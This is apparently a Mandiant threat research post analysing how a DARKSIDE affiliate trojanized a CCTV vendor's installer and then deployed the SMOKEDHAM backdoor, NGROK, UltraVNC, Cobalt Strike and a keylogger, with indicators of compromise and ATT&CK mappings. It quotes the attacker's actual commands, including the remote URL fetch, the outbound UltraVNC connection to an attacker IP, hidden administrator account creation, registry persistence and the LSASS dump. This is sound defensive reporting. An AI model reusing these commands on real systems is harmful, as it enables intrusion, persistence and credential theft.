Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise
Threat Research Blog
Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise
June 16, 2021 |
Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.
As reported in the Mandiant post, “Shining a Light on DARKSIDE Ransomware Operations,” Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.
The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.
Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.
While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.
DARKSIDE RaaS
In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision.
Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.
Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.
Background
In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.
On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.
Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.
Supply Chain Intrusion Cycle
Figure 1: Intrusion cycle
Phase 1: Trojanized Installer Download
Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.
The downloaded file was extracted to
C:Users[username]Downloads6212019-General-SMARTPSS-Win32-ChnEng-ISGeneral_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.
Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.
Figure 2: SmartPSS download page
Phase 2: Nullsoft Installer
The installer executable is a Nullsoft installer that when executed wrote two files to C:ProgramDataSMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.
Figure 3: Nullsoft installer script section
The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.
The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.
Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe
Phase 3: Downloaded VBScript and PowerShell
Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.
Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.
|
C:PROGRAMDATASMARTPSS-Win32_ChnEng_ISsmartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 |
The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.
|
….On Error Resume Next |
At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.
Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content
Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.
Figure 6: SMOKEDHAM downloader
Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.
|
csc.exe /noconfig /fullpaths @’C:Users [username]AppDataLocalTempqnxfhfimqnxfhfim.cmdline’ |
Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.
|
…/t:library /utf8output /R:’System.dll’ /R:’C:windowsMicroso |
After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.
Phase 4: SMOKEDHAM Dropper
The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.
The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor’s entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper.
Figure 7: SMOKEDHAM dropper
Phase 5: SMOKEDHAM Backdoor
SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.
SMOKEDHAM Network Communications
SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.
The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.
The ID field contains a unique value generated by the backdoor for the target system.
The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.
The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.
SMOKEDHAM Commands
SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.
|
Keyword |
Action |
|
delay |
Update its sleep interval |
|
screenshot |
Upload a screen capture to its C2 server via a subsequent HTTP POST request |
|
exit |
Terminate |
Table 1: Plaintext command data keywords
If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.
In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.
SMOKEDHAM In Action
SMOKEDHAM was observed executing commands on the target system using PowerShell.
The following commands were used to collect information about the system and logged in users.
|
net.exe user net.exe users whoami.exe whoami.exe /priv systeminfo.exe |
The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.
|
net.exe user DefaultUser REDACTED /ADD net.exe localgroup Administrators DefaultUser /ADD reg.exe ADD ‘HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList’ /v DefaultUser /t REG_DWORD /d 0 /f |
The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.
|
reg.exe ADD ‘HKLMSYSTEMCurrentControlSetControlTerminal Server’ /v fDenyTSConnections /t REG_DWORD /d 0 /f reg.exe ADD ‘HKLMSYSTEMCurrentControlSetControlTerminal Server’ /v fSingleSessionPerUser /t REG_DWORD /d 0 /f reg.exe ADD HKLMSYSTEMCurrentControlSetControlLsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f |
Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential to enable credential caching.
Phase 6: Follow-on Activity
SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%Chrome directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.
Figure 8: Contents of UltraVNC.ini
SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.
|
%APPDATA%Chromewinvnc.exe’ -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run |
SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.
|
reg.exe add HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun /v ConhostNT /d %appdata%Chromewinvnc.exe |
NGROK Configuration
SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:ProgramDataWindNT directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.
Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.
Figure 9: Contents of VirtualHost.vbs
Figure 10: Contents of ngrok.yml
The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.
SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.
|
reg.exe add HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindNT /d C:ProgramDataWindNTVirtualHost.vbs |
Keylogger Deployment
This attacker utilized an additional keylogging utility named C:ProgramDatapshconsole.exe. The keylogging utility was configured to capture and record keystrokes to C:ProgramDatapshSystem32Log.txt.
Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations:
|
C:Users[username]Start MenuProgramsStartupdesktop.lnk %APPDATA%MicrosoftWindowsStart MenuProgramsStartupdesktop.lnk %APPDATA%MicrosoftWindowsStart MenuProgramsStartupconsole.lnk |
Cobalt Strike Beacon
The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:ProgramDataCisco SystemsCisco Jabberupdate.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:ProgramDataCisco SystemsCisco Jabberupdate.exe using Command Prompt.
|
cmd.exe /c ‘C:ProgramDataCisco SystemsCisco Jabberupdate.exe’&&exit |
The execution of ScareCrow framework dropper C:ProgramDataCisco SystemsCisco Jabberupdate.exe resulted in the creation of a Cobalt Strike stageless payload to C:ProgramDataCiscoupdate.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.
Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%MicrosoftWindowsStart MenuProgramsStartup directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.
LSASS Dumping and Lateral Movement
Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:ProgramDatapsh directory.
From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.
Conclusion
UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.
Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.
Indicators
Supply Chain/Trojanized Nullsoft Installer/SmartPSS
MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe
Zip MD5: 54e0a0d398314f330dfab6cd55d95f38
Supply Chain/Trojanized Nullsoft Installer/SVStation
MD5: e9ed774517e129a170cdb856bd13e7e8
Filename: SVStation_Win64-B1130.1.0.0.exe
Intermediate Stage
URL: hxxp://sdoc[.]xyz/ID-508260156241
IP: 185.92.151[.]150
SMOKEDHAM LOADER
MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html)
MD5: 05d38c7e957092f7d0ebfc7bf1eb5365
SMOKEDHAM
MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.]net (actual C2)
MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.]net (actual C2)
MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.]net (actual C2)
NGROK
MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe)
MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs)
UltraVNC
IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)
BEACON
Host: w2doger[.]xyz
IP: 185.231.68.102
MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)
Detecting the Techniques
FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity.
|
Platform |
Detection Name |
|
FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect
|
|
|
FireEye Endpoint Security |
Real-Time Detection (IOC)
Malware Protection (AV/MG)
Modules
|
|
FireEye Helix |
|
Yara Detections
|
rule Backdoor_Win_SMOKEDHAM } |
|
rule Loader_Win_SMOKEDHAM |
MITRE ATT&CK UNC2465
|
Tactic |
Description |
|
Initial Access |
T1189: Drive-by Compromise |
|
Execution |
T1053.005: Scheduled Task |
|
Persistence |
T1098: Account Manipulation |
|
Defense Evasion |
T1027: Obfuscated Files or Information |
|
Discovery |
T1012: Query Registry |
|
Collection |
T1056.001: Keylogging |
|
Impact |
T1486: Data Encrypted for Impact |
|
Command and Control |
T1071.001: Web Protocols |
|
Lateral Movement |
T1021.004: SSH |
|
Credential Access |
T1003.001: LSASS Memory |
|
Resource Development |
T1588.003: Code Signing Certificates |
Acknowledgements
Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.
Previous Post
Next Post
English
العربية
简体中文
Nederlands
Français
Deutsch
Italiano
Қазақ тілі
Кыргызча
Latviešu valoda
Lietuvių kalba
Português
Русский
Српски језик
Slovenčina
Slovenščina
Español
Türkçe
Українська
O‘zbekcha